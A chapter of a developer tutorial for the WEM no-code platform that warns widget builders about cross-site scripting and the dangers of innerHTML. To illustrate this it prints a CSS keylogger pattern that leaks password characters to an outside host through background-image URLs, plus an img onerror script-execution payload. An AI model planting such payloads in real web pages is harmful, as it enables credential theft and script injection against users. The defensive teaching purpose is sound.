12. Risks and Responsibilities

My guess is that you are eager to build a widget on your own, and your fingers are itching to write some code! But as the great Uncle Ben from Peter Parker famously said, "With great power comes great responsibility." While this quote was ironically popularized by the movie Spider-Man, it holds true nonetheless. So, sit tight, and let’s have a candid discussion about the risks and responsibilities involved.

WEM is a no-code platform that allows you to create applications ten times faster than traditional methods. We are proud to share customer stories that prove this. With the development of AI, it’s not unreasonable to think that we will be able to build apps even faster. However, what people often overlook is that WEM implements numerous safety precautions, enabling you to build without worry while it handles the hard work in the background, allowing you to sleep soundly at night.

I’m referring to safety on a technical level. I’m not suggesting that WEM guarantees you will never create unsafe applications. For instance, someone might forget to add authorization to a sensitive page that displays client information openly. This is a user error that WEM cannot prevent. WEM provides you with tools built on universal standards to implement authorization, but it cannot ensure that you will implement it correctly. Think of WEM as a car equipped with bulletproof glass; it offers protection, but if a reckless driver looks too deeply into the glass, don’t be surprised if the car comes home with bumps and scratches.

"What does this have to do with widgets?" With widgets, you gain more control—essentially, more power. And you know what Uncle Ben said? Building widgets requires not only extensive knowledge of HTML, CSS, and JavaScript but also an understanding of how the WEM Runtime works. It’s a lot to take in, and if you’re not careful, you might inadvertently introduce XSS (cross-site scripting) vulnerabilities into your widget without even realizing it.

I take my job as a programmer very seriously, and you should too. I see too many people copying code from the internet and pasting it without understanding what it does. "It works, so it must be fine, right?" So, I want to ask you a question: Are you a good programmer, or a good Googler?

Do you know the dangers of using innerHTML? It seems safe to use, right? After all, any <script> tags are ignored, so it should be perfectly safe. Well, not quite.

Here’s something interesting. Do you know what the following CSS does?

<style>
    input[type="password"][value$="a"] { background: url("http://website.com/a"); }
    input[type="password"][value$="b"] { background: url("http://website.com/b"); }
    input[type="password"][value$="c"] { background: url("http://website.com/c"); }
    /* ... */
    input[type="password"][value$="z"] { background: url("http://website.com/z"); }
    input[type="password"][value$="{"] { background: url("http://website.com/%7B"); }
    input[type="password"][value$="|"] { background: url("http://website.com/%7C"); }
    /* etc */
</style>

That’s right! This is a stripped-down version of a keylogger written in CSS! What about this one?

<img src="x" onerror="console.log('Hey look mom! No <script> block.')">

Yes, if you are creative enough, you can even execute scripts without using <script> blocks. In the example above, because the image "x" does not exist, the onerror event will be triggered. So even if innerHTML ignores <script> blocks, there are still ways to execute all kinds of malicious actions.

From this point forward, a strong knowledge of HTML, CSS, and JavaScript is essential. I’m going to be more strict this time. If you don’t understand the dangers of using innerHTML, you should. If you don’t know why it’s important to encode output, you should. We are going to delve deeper and get more technical, so strap yourself in a little tighter, and let’s go!